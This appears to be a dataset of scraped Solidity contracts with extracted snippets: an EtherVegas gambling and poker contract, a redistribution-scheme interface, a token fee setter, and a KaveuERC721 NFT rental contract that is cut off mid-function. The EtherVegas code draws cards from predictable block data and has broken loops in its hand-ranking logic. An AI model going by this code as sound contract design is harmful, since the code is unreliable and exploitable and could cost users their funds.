pragma solidity ^0.4.21; // EtherVegas V3 // Updates: time is now a hard reset and is based on the price you buy with minimum // Name feature introduced plus quotes [added to UI soon] // Poker feature added, pays about ~4/25 of entire collected pot currently // can be claimed multiple times (by other users). Last poker winner gets // remaining pot when complete jackpot is paid out // HOST: ethlasvegas.surge.sh // Made by EtherGuy // Questions or suggestions? etherguy@mail.com contract RNG{ uint256 secret = 0; // Thanks to TechnicalRise // Ban contracts modifier NoContract(){ uint size; address addr = msg.sender; assembly { size := extcodesize(addr) } require(size == 0); _; } function RNG() public NoContract{ secret = uint256(keccak256(block.coinbase)); } function _giveRNG(uint256 modulo, uint256 secr) private view returns (uint256, uint256){ uint256 seed1 = uint256(block.coinbase); uint256 seed3 = secr; uint256 newsecr = (uint256(keccak256(seed1,seed3))); return (newsecr % modulo, newsecr); } function GiveRNG(uint256 max) internal NoContract returns (uint256){ uint256 num; uint256 newsecret = secret; (num,newsecret) = _giveRNG(max, newsecret); secret=newsecret; return num; } } contract Poker is RNG{ // warning; number 0 is a non-existing card; means empty; uint8[5] public HouseCards; mapping(address => uint8[2]) public PlayerCards; mapping(address => uint256) public PlayerRound; uint256 public RoundNumber; uint8[6] public WinningHand; // tracks winning hand. ID 1 defines winning level (9=straight flush, 8=4 of a kind, etc) and other numbers address public PokerWinner; uint8[2] public WinningCards; // define the other cards which might play in defining the winner. function GetCardNumber(uint8 rank, uint8 suit) public pure returns (uint8){ if (rank==0){ return 0; } return ((rank-1)*4+1)+suit; } function GetPlayerRound(address who) public view returns (uint256){ return PlayerRound[who]; } function GetCardInfo(uint8 n) public pure returns (uint8 rank, uint8 suit){ if (n==0){ return (0,0); } suit = (n-1)%4; rank = (n-1)/4+1; } // event pushifo(uint8, uint8, uint8,uint8,uint8); // resets game function DrawHouse() internal { // Draw table cards uint8 i; uint8 rank; uint8 suit; uint8 n; for (i=0; i<5; i++){ rank = uint8(GiveRNG(13)+1); suit = uint8(GiveRNG(4)); n = GetCardNumber(rank,suit); HouseCards[i]=n; } uint8[2] storage target = PlayerCards[address(this)]; for (i=0; i<2; i++){ rank = uint8(GiveRNG(13)+1); suit = uint8(GiveRNG(4)); n = GetCardNumber(rank,suit); target[i]=n; } WinningHand = RankScore(address(this)); WinningCards=[target[0],target[1]]; PokerWinner= address(this); } event DrawnCards(address player, uint8 card1, uint8 card2); function DrawAddr() internal { uint8 tcard1; uint8 tcard2; for (uint8 i=0; i<2; i++){ uint8 rank = uint8(GiveRNG(13)+1); uint8 suit = uint8(GiveRNG(4)); uint8 n = GetCardNumber(rank,suit); if (i==0){ tcard1=n; } else{ tcard2=n; } PlayerCards[msg.sender][i]=n; } if (PlayerRound[msg.sender] != RoundNumber){ PlayerRound[msg.sender] = RoundNumber; } emit DrawnCards(msg.sender,tcard1, tcard2); } function GetPlayerCards(address who) public view NoContract returns (uint8, uint8){ uint8[2] memory target = PlayerCards[who]; return (target[0], target[1]); } function GetWinCards() public view returns (uint8, uint8){ return (WinningCards[0], WinningCards[1]); } // welp this is handy struct Card{ uint8 rank; uint8 suit; } // web // function HandWinsView(address checkhand) view returns (uint8){ // return HandWins(checkhand); //} function HandWins(address checkhand) internal returns (uint8){ uint8 result = HandWinsView(checkhand); uint8[6] memory CurrScore = RankScore(checkhand); uint8[2] memory target = PlayerCards[checkhand]; if (result == 1){ WinningHand = CurrScore; WinningCards= [target[0],target[1]]; PokerWinner=msg.sender; // clear cards //PlayerCards[checkhand][0]=0; //PlayerCards[checkhand][1]=0; } return result; } // returns 0 if lose, 1 if win, 2 if equal // if winner found immediately sets winner values function HandWinsView(address checkhand) public view returns (uint8){ if (PlayerRound[checkhand] != RoundNumber){ return 0; // empty cards in new round. } uint8[6] memory CurrentWinHand = WinningHand; uint8[6] memory CurrScore = RankScore(checkhand); uint8 ret = 2; if (CurrScore[0] > CurrentWinHand[0]){ return 1; } else if (CurrScore[0] == CurrentWinHand[0]){ for (uint i=1; i<=5; i++){ if (CurrScore[i] >= CurrentWinHand[i]){ if (CurrScore[i] > CurrentWinHand[i]){ return 1; } } else{ ret=0; break; } } } else{ ret=0; } // 2 is same hand. commented out in pay mode // only winner gets pot. return ret; } function RankScore(address checkhand) internal view returns (uint8[6] output){ uint8[4] memory FlushTracker; uint8[14] memory CardTracker; uint8 rank; uint8 suit; Card[7] memory Cards; for (uint8 i=0; i<7; i++){ if (i>=5){ (rank,suit) = GetCardInfo(PlayerCards[checkhand][i-5]); FlushTracker[suit]++; CardTracker[rank]++; Cards[i] = Card(rank,suit); } else{ (rank,suit) = GetCardInfo(HouseCards[i]); FlushTracker[suit]++; CardTracker[rank]++; Cards[i] = Card(rank,suit); } } uint8 straight = 0; // skip all zero's uint8[3] memory straight_startcard; for (uint8 startcard=13; i>=5; i--){ if (CardTracker[startcard] >= 1){ for (uint8 currcard=startcard-1; currcard>=(startcard-4); currcard--){ if (CardTracker[currcard] >= 1){ if (currcard == (startcard-4)){ // at end, straight straight_startcard[straight] = startcard; straight++; } } else{ break; } } } } uint8 flush=0; for (i=0;i<=3;i++){ if (FlushTracker[i]>=5){ flush=i; break; } } // done init. // straight flush? if (flush>0 && straight>0){ // someone has straight flush? // level score 9 output[0] = 9; currcard=0; for (i=0; i<3; i++){ startcard=straight_startcard[i]; currcard=5; // track flush, num 5 is standard. for (rank=0; i<7; i++){ if (Cards[i].suit == flush && Cards[i].rank <= startcard && Cards[i].rank>=(startcard-4)){ currcard--; if (currcard==0){ break; } } } if (currcard==0){ // found straight flush high. output[1] = straight_startcard[i]; // save the high card break; } } return output; } // high card //reuse the rank variable to sum cards; rank=0; for (i=13;i>=1;i--){ rank = rank + CardTracker[i]; if (CardTracker[i] >= 4){ output[0] = 8; // high card output[1] = i; // the type of card return output; } if (rank >=4){ break; } } // full house rank=0; // track 3-kind suit=0; // track 2-kind startcard=0; currcard=0; for (i=13;i>=1;i--){ if (rank == 0 && CardTracker[i] >= 3){ rank = i; } else if(CardTracker[i] >= 2){ if (suit == 0){ suit = i; } else{ // double nice if (startcard==0){ startcard=i; } } } } if (rank != 0 && suit != 0){ output[0] = 7; output[1] = rank; // full house tripple high output[2] = suit; // full house tripple low return output; } if (flush>0){ // flush output[0] = 6; output[1] = flush; return output; } if (straight>0){ //straight output[0] = 5; output[1] = straight_startcard[0]; return output; } if (rank>0){ // tripple output[0]=4; output[1]=rank; currcard=2; // track index; // get 2 highest cards for (i=13;i>=1;i--){ if (i != rank){ if (CardTracker[i] > 0){ // note at three of a kind we have no other doubles; all other ranks are different so no check > 1 output[currcard] = i; currcard++; if(currcard==4){ return output; } } } } } if (suit > 0 && startcard > 0){ // double pair output[0] = 3; output[1] = suit; output[2] = startcard; // get highest card for (i=13;i>=1;i--){ if (i!=suit && i!=startcard && CardTracker[i]>0){ output[3]=i; return output; } } } if (suit > 0){ // pair output[0]=2; output[1]=suit; currcard=2; // fill 3 other positions with high cards. for (i=13;i>=1;i--){ if (i!=suit && CardTracker[i]>0){ output[currcard]=i; currcard++; if(currcard==5){ return output; } } } } // welp you are here now, only have high card? // boring output[0]=1; currcard=1; for (i=13;i>=1;i--){ if (CardTracker[i]>0){ output[currcard]=i; currcard++; if (currcard==6){ return output; } } } } } contract Vegas is Poker{ address owner; address public feesend; uint256 public Timer; uint8 constant MAXPRICEPOWER = 40; // < 255 address public JackpotWinner; uint16 public JackpotPayout = 8000; uint16 public PokerPayout = 2000; uint16 public PreviousPayout = 6500; uint16 public Increase = 9700; uint16 public Tax = 500; uint16 public PotPayout = 8000; uint256 public BasePrice = (0.005 ether); uint256 public TotalPot; uint256 public PokerPayoutValue; // mainnet uint256[9] TimeArray = [uint256(6 hours), uint256(3 hours), uint256(2 hours), uint256(1 hours), uint256(50 minutes), uint256(40 minutes), uint256(30 minutes), uint256(20 minutes), uint256(15 minutes)]; // testnet //uint256[3] TimeArray = [uint256(3 minutes), uint256(3 minutes), uint256(2 minutes)]; struct Item{ address Holder; uint8 PriceID; } Item[16] public Market; uint8 public MaxItems = 12; // max ID, is NOT index but actual max items to buy. 0 means really nothing, not 1 item event ItemBought(uint256 Round, uint8 ID, uint256 Price, address BoughtFrom, address NewOwner, uint256 NewTimer, uint256 NewJP, string Quote, string Name); // quotes here ? event PokerPaid(uint256 Round, uint256 AmountWon, address Who, string Quote, string Name, uint8[6] WinHand); event JackpotPaid(uint256 Round, uint256 Amount, address Who, string Quote, string Name); event NewRound(); bool public EditMode; bool public SetEditMode; // dev functions modifier OnlyOwner(){ require(msg.sender == owner); _; } modifier GameClosed(){ require (block.timestamp > Timer); _; } function Vegas() public{ owner=msg.sender; feesend=0x09470436BD5b44c7EbDb75eEe2478eC172eAaBF6; // withdraw also setups new game. // pays out 0 eth of course to owner, no eth in contract. Timer = 1; // makes sure withdrawal runs Withdraw("Game init", "Admin"); } // all contract calls are banned from buying function Buy(uint8 ID, string Quote, string Name) public payable NoContract { require(ID < MaxItems); require(!EditMode); // get price //uint8 pid = Market[ID].PriceID; uint256 price = GetPrice(Market[ID].PriceID); require(msg.value >= price); if (block.timestamp > Timer){ if (Timer != 0){ // timer 0 means withdraw is gone; withdraw will throw on 0 Withdraw("GameInit", "Admin"); return; } } // return excess if (msg.value > price){ msg.sender.transfer(msg.value-price); } uint256 PayTax = (price * Tax)/10000; feesend.transfer(PayTax); uint256 Left = (price-PayTax); if (Market[ID].PriceID!=0){ // unzero, move to previous owner uint256 pay = (Left*PreviousPayout)/10000; TotalPot = TotalPot + (Left-pay); // Left=Left-pay; Market[ID].Holder.transfer(pay); } else{ TotalPot = TotalPot + Left; } // reset timer; Timer = block.timestamp + GetTime(Market[ID].PriceID); //set jackpot winner JackpotWinner = msg.sender; // give user new card; emit ItemBought(RoundNumber,ID, price, Market[ID].Holder, msg.sender, Timer, TotalPot, Quote, Name); DrawAddr(); // give player cards // update price Market[ID].PriceID++; //set holder Market[ID].Holder=msg.sender; } function GetPrice(uint8 id) public view returns (uint256){ uint256 p = BasePrice; if (id > 0){ // max price baseprice * increase^20 is reasonable for (uint i=1; i<=id; i++){ if (i==MAXPRICEPOWER){ break; // prevent overflow (not sure why someone would buy at increase^255) } p = (p * (10000 + Increase))/10000; } } return p; } function PayPoker(string Quote, string Name) public NoContract{ uint8 wins = HandWins(msg.sender); if (wins>0){ uint256 available_balance = (TotalPot*PotPayout)/10000; uint256 payment = sub ((available_balance * PokerPayout)/10000 , PokerPayoutValue); PokerPayoutValue = PokerPayoutValue + payment; if (wins==1){ msg.sender.transfer(payment); emit PokerPaid(RoundNumber, payment, msg.sender, Quote, Name, WinningHand); } /* else if (wins==2){ uint256 pval = payment/2; msg.sender.transfer(pval); PokerWinner.transfer(payment-pval);// saves 1 wei error emit PokerPaid(RoundNumber, pval, msg.sender, Quote, Name, WinningHand); emit PokerPaid(RoundNumber, pval, msg.sender, "", "", WinningHand); }*/ } else{ // nice bluff mate revert(); } } function GetTime(uint8 id) public view returns (uint256){ if (id >= TimeArray.length){ return TimeArray[TimeArray.length-1]; } else{ return TimeArray[id]; } } //function Call() public { // DrawHouse(); // } // pays winner. // also sets up new game // winner receives lots of eth compared to gas so a small payment to gas is reasonable. function Withdraw(string Quote, string Name) public NoContract { _withdraw(Quote,Name,false); } // in case there is a revert bug in the poker contract // allows winner to get paid without calling poker. should never be called // follows all normal rules of game . function WithdrawEmergency() public OnlyOwner{ _withdraw("Emergency withdraw call","Admin",true); } function _withdraw(string Quote, string Name, bool Emergency) NoContract internal { // Setup cards for new game. require(block.timestamp > Timer && Timer != 0); Timer=0; // prevent re-entrancy immediately. // send from this.balance uint256 available_balance = (TotalPot*PotPayout)/10000; uint256 bal = (available_balance * JackpotPayout)/10000; JackpotWinner.transfer(bal); emit JackpotPaid(RoundNumber, bal, JackpotWinner, Quote, Name); // pay the last poker winner remaining poker pot. bal = sub(sub(available_balance, bal),PokerPayoutValue); if (bal > 0 && PokerWinner != address(this)){ // this only happens at start game, some wei error if (bal > address(this).balance){ PokerWinner.transfer(address(this).balance); } else{ PokerWinner.transfer(bal); } emit PokerPaid(RoundNumber, bal, PokerWinner, "Paid out left poker pot", "Dealer", WinningHand); } TotalPot = address(this).balance; // next poker pot starts at zero. PokerPayoutValue= (TotalPot * PotPayout * PokerPayout)/(10000*10000); // reset price for (uint i=0; i<MaxItems; i++){ Market[i].PriceID=0; } if (!Emergency){ DrawHouse(); } RoundNumber++; // enable edit mode if set by dev. EditMode=SetEditMode; emit NewRound(); } // dev edit functions below function setEditModeBool(bool editmode) public OnlyOwner { // start edit mode closes the whole game. SetEditMode=editmode; if (!editmode){ // enable game round. EditMode=false; } } function emergencyDropEth() public payable{ // any weird error might be solved by dropping eth (and no this is not even a scam, if contract needs a wei more, we send a wei, get funds out and fix contract) } function editTimer(uint8 ID, uint256 Time) public OnlyOwner GameClosed{ TimeArray[ID] = Time; } function editBasePrice(uint256 NewBasePrice) public OnlyOwner GameClosed{ BasePrice = NewBasePrice; } function editMaxItems(uint8 NewMax) public OnlyOwner GameClosed{ MaxItems = NewMax; } function editPayoutSetting(uint8 setting, uint16 newv) public OnlyOwner GameClosed{ require(setting > 0); if (setting == 1){ require(newv <= 10000); JackpotPayout = newv; PokerPayout = 10000-newv; } else if (setting == 2){ require(newv <= 10000); PokerPayout = newv; JackpotPayout = 10000-newv; } else if (setting == 3){ require (newv <= 10000); PreviousPayout = newv; } else if (setting == 4){ require(newv <= 30000); Increase = newv; } else if (setting == 5){ require(newv <=10000); PotPayout = newv; } else if (setting == 6){ require(newv < 700); Tax = newv; } else{ revert(); } } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
clear cardsPlayerCards[checkhand][0]=0;PlayerCards[checkhand][1]=0;
function HandWins(address checkhand) internal returns (uint8){ uint8 result = HandWinsView(checkhand); uint8[6] memory CurrScore = RankScore(checkhand); uint8[2] memory target = PlayerCards[checkhand]; if (result == 1){ WinningHand = CurrScore; WinningCards= [target[0],target[1]]; PokerWinner=msg.sender; } return result; }
7,307,431
pragma solidity 0.5.7; /// @title abstract crypto e(ethereum)-redistribution kind application interface interface ICEKA { /** * @dev put obtained amount to participiant accordingly with contract constraints * @dev may emit egot */ function get() external; /** * @dev take deposit amount from participiant to contract balance accordingly with contract constraints * @dev may emit eput */ function put() external payable; /** * @dev return half of deposit amount to participiant accordingly with contract constraints [note that action shouldn't update participiant ordered list] * @dev may emit eleave */ function leave() external; /** * @dev check that contract exceed * @return finished flag */ function finish() external returns(bool); /// @dev emit on success get action event egot(address addr, uint256 amnt); /// @dev emit on success put action event eput(address addr, uint256 amnt); /// @dev emit on success leave action event eleave(address addr, uint256 amnt); /// @dev emit on constract finish event efinished(uint256 tsFinish); }
abstract crypto e(ethereum)-redistribution kind application interface
interface ICEKA { function get() external; function put() external payable; function leave() external; function finish() external returns(bool); event egot(address addr, uint256 amnt); event eput(address addr, uint256 amnt); event eleave(address addr, uint256 amnt); event efinished(uint256 tsFinish); }
2,527,626
./full_match/5/0xbe1619794Ad3Df06ae728C2A3F0a79354914B906/sources/contracts/TokuToken.sol
fees should be set in bips aka basis points 1% == 100 bips newLiqFee = default 0.3% set as 30 bips newBuyFee = default 8% set as 8000 bips newSellFee = default 12% 1200 bips/
function setFees( uint256 newLiqFee, uint256 newBuyFee, uint256 newSellFee ) external onlyOwner { liquidityFee = newLiqFee; totalFee = liquidityFee.add(newBuyFee); totalFeeIfSelling = liquidityFee.add(newSellFee); }
1,849,292
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /** * * @author Rao Nagos * KaveuERC721 - Kaveu - KVU * Repository URL : https://github.com/Kaveu/kaveu-core * Website URL : https://kaveu.io * * Kaveu is a project based on NFTs which are used as a key to be allowed to use an arbitration bot (IA) on CEXs/DEXs. * Each NFT has a basic `claws` to arbitrate 2 tokens on the C/DEXs. The same `claws` can be borrowed from third parties if the owners allows it. */ contract KaveuERC721 is ERC721, ERC721Holder, Ownable, ReentrancyGuard { // Identify who the caller is enum AssignState { DEFAULT, BY_OWNER, BY_BORROWER } /** * @param deadline The loan period * @param totalAmount The price of the loan * @param totalBorrow The total number of claw that were borrowed by {borrower} * @param caller The one who called the function and also who will receive the refunds * @param borrower The dedicated account * @param assignState See above */ struct BorrowData { uint256 deadline; uint256 totalAmount; uint256 totalBorrow; address caller; address borrower; AssignState assignState; } /** * @param pricePerDay The price of the loan per day * @param totalBorrow The total number of claws that were borrowed by all borrowers * @param totalAssign The total number of claws that were assigned by the owner * @param totalClaw The total number of claws * @param priceClaw The price of the claw */ struct Claw { uint256 pricePerDay; uint256 totalBorrow; uint256 totalAssign; uint256 totalClaw; uint256 priceClaw; } // Simple events event ClawLoaning(uint256 indexed tokenId, uint256 indexed pricePerDay); event ClawBorrowed(uint256 indexed tokenId, address indexed borrower, uint256 indexed deadline); // The maximum supply that can be mined uint256 public constant MAX_SUPPLY = 15; // $ echo "(7 * 2) + 1" | bc // The safe address to withdraw or to sell tokens address public safeAddress; // The base uri that stores the json file string private _baseUri; // Map {Claw} by the id of token mapping(uint256 => Claw) private _claws; // Map {BorrowData} by borrower address mapping(uint256 => mapping(address => BorrowData)) private _borrowers; address[] private _borrowerArray; /** * @dev Throws if the token does not exist. * See {ERC721-_exists}. * * @param tokenId The id of the token */ modifier existToken(uint256 tokenId) { require(_exists(tokenId), "KaveuERC721: the token does not exist"); _; } /** * @dev Throws if called by any account other than the owner. * See {IERC721-ownerOf}. * * @param tokenId The id of the token */ modifier onlyOwnerOf(uint256 tokenId) { require(ownerOf(tokenId) == msg.sender, "KaveuERC721: you are not the owner"); _; } /** * @dev Set the {Claw.priceClaw} to 12,7 ether (starting price) and {Claw.totalClaw} to 2. * Set the {_baseUri} and the {safeAddress}. * * @param safeAddress_ The safe address of deployer * @param uri_ The CID of ipfs url */ constructor(address safeAddress_, string memory uri_) ERC721("Kaveu", "KVU") { safeAddress = safeAddress_; _baseUri = uri_; for (uint256 id = 1; id <= MAX_SUPPLY; id++) { _claws[id].totalClaw = id > 1 ? 2 : 7; // The one should never be sold _claws[id].priceClaw = 12.7 gwei; // 12.7 ether (matic): 18$ at april 17th 2022 _mint(safeAddress, id); } } /** * @return MAX_SUPPLY The maximum supply */ function totalSupply() external pure returns (uint256) { return MAX_SUPPLY; } /** * @dev See {IERC721Metadata-tokenURI}. * * @param _tokenId The id of the token * @return uri The uri token of the {_tokenId} */ function tokenURI(uint256 _tokenId) public view virtual override existToken(_tokenId) returns (string memory) { return string(abi.encodePacked(_baseUri, Strings.toString(_tokenId), ".json")); } /** * @dev Call once a time all the tokens uri. * * @return uris All tokens uri */ function getTokenURIs() external view virtual returns (string[] memory) { string[] memory uris = new string[](MAX_SUPPLY); for (uint256 tokenId = 1; tokenId <= MAX_SUPPLY; tokenId++) uris[tokenId - 1] = tokenURI(tokenId); return uris; } /** * @return balance The balance of the contract */ function balance() external view returns (uint256) { return address(this).balance; } /** * @dev Allows the deployer to send the contract balance to the {safeAddress}. */ function withdraw() external virtual onlyOwner nonReentrant { (bool success, ) = payable(safeAddress).call{value: address(this).balance}(""); require(success, "Address: unable to send value"); } /** * @dev Allow the deployer to set the {safeAddress} by the {_safeAddress}. * * @param _safeAddress The new safe address */ function setSafeAddress(address _safeAddress) external virtual onlyOwner { safeAddress = _safeAddress; } /** * @dev Allows the deployer to set the {_baseUri} by the {_newUri}. * * @param _newUri The new {_baseUri} */ function setUri(string memory _newUri) external virtual onlyOwner { _baseUri = _newUri; } /** * @dev Allows the owner to increase claws of the {_tokenId} by {_incBy} by sending a minimum amount. * The {Claw.priceClaw} is updated according to the formula: {Claw.totalClaw} * 5,7614 ether. * !! Decreases claws does not exist. * * Throws if the {_tokenId} is less than 1 and if the {value} is less than the required amount. * * @param _tokenId The id of the token * @param _incBy The number of claws to add */ function increaseClaws(uint256 _tokenId, uint256 _incBy) external payable virtual onlyOwnerOf(_tokenId) nonReentrant { require(msg.value >= _incBy * _claws[_tokenId].priceClaw && _tokenId > 1, "KaveuERC721: unable to increase the token"); _claws[_tokenId].totalClaw += _incBy; _claws[_tokenId].priceClaw = _claws[_tokenId].totalClaw * 5.7614 gwei; // 5,7614 = (12,7 / 7,21) + (7 - 2 - 1) } /** * @dev Allows the deployer to increase by 4, all owner claws except the id one. * This function affects the {increaseClaws} function. */ function airdrop() external virtual onlyOwner { for (uint256 id = 2; id <= MAX_SUPPLY; id++) _claws[id].totalClaw += (7 - 2 - 1); } ///////////////////////////////////////////////////////////////////// /////////////////////////// LOAN //////////////////////////////////// ///////////////////////////////////////////////////////////////////// /** * @param _tokenId The id of the token * @return claw The {Claw} of the {_tokenId} */ function clawsOf(uint256 _tokenId) external view existToken(_tokenId) returns (Claw memory) { return _claws[_tokenId]; } /** * @dev The IA uses this function to check if a borrower is allowed to use him. * * @param _tokenId The id of the token * @return borrowDatas An array of {BorrowData} of the {_tokenId} */ function borrowOf(uint256 _tokenId) external view existToken(_tokenId) returns (BorrowData[] memory) { uint256 ln = _borrowerArray.length; if (ln == 0) return new BorrowData[](ln); uint256 cbsIndex; uint256 i; BorrowData[] memory cbs = new BorrowData[](ln); for (i = 0; i < ln; i++) { BorrowData memory cb = _borrowers[_tokenId][_borrowerArray[i]]; if (cb.assignState != AssignState.DEFAULT) { cbs[cbsIndex] = cb; cbsIndex++; } } // use assembly to decrease the size for null data (by null, it means AssignState.DEFAULT) // the first 'if' above makes the following code safe for (i = cbsIndex; i < ln; i++) assembly { mstore(cbs, sub(mload(cbs), 1)) } return cbs; } /** * ~ON-CHAIN~ * @dev The IA uses this function to check if a borrower is allowed to use him. * Check to see if the borrower exists and if the deadline of the loan has been reached. * * @param _borrower The borrower to find * @return isBorrower */ function isBorrower(address _borrower) external view returns (bool) { bool find = false; for (uint256 i = 0; i < _borrowerArray.length; i++) if (_borrowerArray[i] == _borrower) { find = true; break; } if (!find) return find; for (uint256 id = 1; id <= MAX_SUPPLY; id++) if (_borrowers[id][_borrower].assignState != AssignState.DEFAULT && _borrowers[id][_borrower].deadline > block.timestamp) return true; return false; } /** * ~ON-CHAIN~ * @param _borrower The borrower who borrows * @return totalBorrowsOf The number of claws the {_borrower} borrows. */ function totalBorrowsOf(address _borrower) external view returns (uint256) { uint256 total = 0; for (uint256 id = 1; id <= MAX_SUPPLY; id++) total += _borrowers[id][_borrower].totalBorrow; return total; } /** * @dev Removes {index} borrower from the array by calling the pop() function. * In fine : this will decrease the array length by 1. * * @param index The cute index */ function removeBorrower(uint256 index) private { _borrowerArray[index] = _borrowerArray[_borrowerArray.length - 1]; _borrowerArray.pop(); } /** * @dev Manually assigns a {_borrower} once to the token {_tokenId} for 721 years and without paying the loan fee. * The {_borrower} is a dedicated account. Considere checking the website for more info. * !! The {Claw.assignState} is set by the owner. * * Throws if the {Claw.totalAssign} of the {_tokenId} is greater than the {Claw.totalClaw}. * And throws if the {BorrowData.assignState} of the {_borrower} is not an {AssignState.DEFAULT}. * * This emits the {ClawBorrowed} event. * * @param _tokenId The id of the token * @param _forClaws The number of claws the owner wants to borrow * @param _borrower The address of the borrower */ function assign( uint256 _tokenId, uint256 _forClaws, address _borrower ) external virtual onlyOwnerOf(_tokenId) { BorrowData memory cb = _borrowers[_tokenId][_borrower]; Claw memory cl = _claws[_tokenId]; cl.totalAssign += _forClaws; require(cl.totalAssign <= cl.totalClaw && cb.assignState == AssignState.DEFAULT, "KaveuERC721: cannot assign the borrower"); cb.deadline = block.timestamp + (31536000 * 721); // 31536000 YEAR_IN_SECONDS cb.assignState = AssignState.BY_OWNER; cb.totalBorrow = _forClaws; cb.caller = msg.sender; cb.borrower = _borrower; _claws[_tokenId] = cl; _borrowers[_tokenId][_borrower] = cb; _borrowerArray.push(_borrower); emit ClawBorrowed(_tokenId, _borrower, cb.deadline); } /** * @dev Deassigns a {_borrower} who has already been manually assigned from the assign() function. * If {Claw.totalAssign} is 0, then it will clear the data. * * Throws if the {BorrowData.assignState} was not assigned by the owner. * * @param _tokenId The id of the token * @param _forClaws The number of claws the owner wants to borrow * @param _borrower The address of the borrower */ function deassign( uint256 _tokenId, uint256 _forClaws, address _borrower ) external virtual onlyOwnerOf(_tokenId) { Claw storage cl = _claws[_tokenId]; cl.totalAssign -= _forClaws; // reverting on overflow require(_borrowers[_tokenId][_borrower].assignState == AssignState.BY_OWNER, "KaveuERC721: cannot deassign the borrower"); // clear() if (cl.totalAssign == 0) for (uint256 i = 0; i < _borrowerArray.length; i++) if (_borrowerArray[i] == _borrower) { delete _borrowers[_tokenId][_borrower]; removeBorrower(i); break; } } /** * @dev Create a loan for the {_tokenId} by setting a price {_pricePerDay}. * To stop the loan, set the {_pricePerDay} to 0 but this does not stop the current rentals. * * This emits {ClawLoaning} event. * * @param _tokenId The id of the token * @param _pricePerDay The price the caller wants to loan claws */ function loan(uint256 _tokenId, uint256 _pricePerDay) external virtual onlyOwnerOf(_tokenId) { _claws[_tokenId].pricePerDay = _pricePerDay; emit ClawLoaning(_tokenId, _pricePerDay); } /** * @dev Create a borrow for a {_tokenId} by sending a minimum amount. Borrow until {_forDays} + {block.timestamp}. * If the owner of the {_tokenId} wants to sell it, he will have to pay back {BorrowData.totalAmount} the {BorrowData.caller} completely first, not for the days remaining. * !! The caller cannot cancel the loan until the deadline is reached. * * See {loan} to stop it. * See {_beforeTokenTransfer} to check the refunds. * * Throws if {Claw.pricePerDay} of the {_tokenId} or {_forDays} is 0. * Throws if the {Claw.totalBorrow} is greater than the {Claw.totalClaw}. * Throws if {BorrowData.assignState} is not an {AssignState.DEFAULT}. * And throws if the {value} is less than the required amount. * * This emits the {ClawBorrowed} event. * * @param _tokenId The id of the token * @param _forClaws The number of claws the caller wants to borrow * @param _forDays The number of days the caller wants to borrow * @param _borrower The address of the borrower */ function borrow( uint256 _tokenId, uint256 _forClaws, uint256 _forDays, address _borrower ) external payable virtual existToken(_tokenId) nonReentrant { Claw memory cl = _claws[_tokenId]; cl.totalBorrow += _forClaws; BorrowData memory cb = _borrowers[_tokenId][_borrower]; require(cl.pricePerDay > 0 && _forClaws > 0 && _forDays > 0 && cl.totalBorrow <= cl.totalClaw && cb.assignState == AssignState.DEFAULT, "KaveuERC721: cannot borrow"); cb.deadline = block.timestamp + (_forDays * 86400); // 86400 DAY_IN_SECONDS cb.totalAmount = _forClaws * _forDays * cl.pricePerDay; cb.totalBorrow = _forClaws; cb.caller = msg.sender; // refund the caller cb.borrower = _borrower; cb.assignState = AssignState.BY_BORROWER; _claws[_tokenId] = cl; _borrowers[_tokenId][_borrower] = cb; _borrowerArray.push(_borrower); // pays loan fee require(msg.value >= cb.totalAmount, "KaveuERC721: not enought token"); (bool success, ) = payable(ownerOf(_tokenId)).call{value: msg.value}(""); require(success, "Address: unable to send value"); emit ClawBorrowed(_tokenId, _borrower, cb.deadline); } /** * @dev Clears the data if the {BorrowData.deadline} has been reached. Anyone can call this function. */ function clear() external virtual { uint256 ln = _borrowerArray.length; uint256[] memory array = new uint256[](ln); uint256 counter = 0; uint256 i; for (uint256 id = 1; id <= MAX_SUPPLY; id++) for (i = 0; i < _borrowerArray.length; i++) { BorrowData memory cb = _borrowers[id][_borrowerArray[i]]; if (cb.assignState != AssignState.DEFAULT && cb.deadline < block.timestamp) { Claw storage cl = _claws[id]; if (cb.assignState == AssignState.BY_OWNER) cl.totalAssign -= cb.totalBorrow; else cl.totalBorrow -= cb.totalBorrow; array[counter] = i; counter++; delete _borrowers[id][_borrowerArray[i]]; } } for (i = 0; i < counter; i++) removeBorrower(array[i]); } /** * @param _tokenId The id of the token * @return amountIn The required amount to refund the owner of the {_tokenId} */ function getAmountInToRefund(uint256 _tokenId) public view returns (uint256) { uint256 amountIn = 0; for (uint256 i = 0; i < _borrowerArray.length; i++) if (_borrowers[_tokenId][_borrowerArray[i]].assignState == AssignState.BY_BORROWER) amountIn += _borrowers[_tokenId][_borrowerArray[i]].totalAmount; return amountIn; } /** * @dev Check that there are no refunds to be made prior to the transfer. If there is, a refund is required to the `BorrowData.caller` for `BorrowData.totalAmount`, not for the days remaining. * !! It is recommended to call the {clear} function first. * * Throws if the {value} is less than the required amount. * */ function refundBorrowers(uint256 _tokenId) external payable virtual nonReentrant { require(msg.value >= getAmountInToRefund(_tokenId), "KaveuERC721: not enought token"); for (uint256 i = 0; i < _borrowerArray.length; i++) { BorrowData memory cb = _borrowers[_tokenId][_borrowerArray[i]]; if (cb.assignState == AssignState.BY_BORROWER) { // refunds the caller (bool success, ) = payable(cb.caller).call{value: cb.totalAmount}(""); require(success, "Address: unable to send value"); // to clear() cb.deadline = block.timestamp - 10; _borrowers[_tokenId][_borrowerArray[i]] = cb; } } } /** * See {ERC721-_beforeTokenTransfer}. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); // from _mint() or to _burn() if (from == address(0) || to == address(0)) return; for (uint256 i = 0; i < _borrowerArray.length; i++) if 